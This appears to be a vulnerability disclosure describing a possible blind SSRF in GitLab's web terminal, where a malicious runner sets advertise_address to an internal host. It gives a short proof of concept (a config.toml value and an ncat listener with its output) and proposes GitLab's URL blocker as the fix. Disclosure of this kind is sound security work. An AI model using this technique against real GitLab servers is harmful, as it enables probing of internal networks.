Possible SSRF web terminal advertise_address

Problem and impact

Assuming a malicious runner specifies an internal host for it's [session_server], GitLab will attempt to connect/make outbound request to internal address space if specified in advertise_address.

Impact here is likely limited since it's only a simple blind GET request. Due to time constraints, further impact was not determined. Below shows the client (GitLab) closing the TLS connection due to my runner session server having a bad certificate, perhaps further investigation or properly signed cert by a CA could lead to further impact.

PoC

1. In runner config.toml:

   advertise_address = "127.0.0.1:7777"

2. Open a web terminal.

3. On GitLab host:

   root@gitlab:/# ncat -lvnp 7777 --ssl
   Ncat: Version 7.70 ( https://nmap.org/ncat )
   Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
   Ncat: SHA-1 fingerprint: 4DFC C238 4B87 AD3D 5B6E 87FE 8D17 8CFE E761 03EC
   Ncat: Listening on :::7777
   Ncat: Listening on 0.0.0.0:7777
   Ncat: Connection from 127.0.0.1.
   Ncat: Connection from 127.0.0.1:34126.
   Ncat: Failed SSL connection from 127.0.0.1: error:14094412:SSL routines:ssl3_read_bytes:sslv3 alert bad certificate
   

Proposed solution

Utilize current GitLab SSRF prevention library on user input hosts/URIs: https://gitlab.com/gitlab-org/gitlab-ce/blob/master/lib/gitlab/url_blocker.rb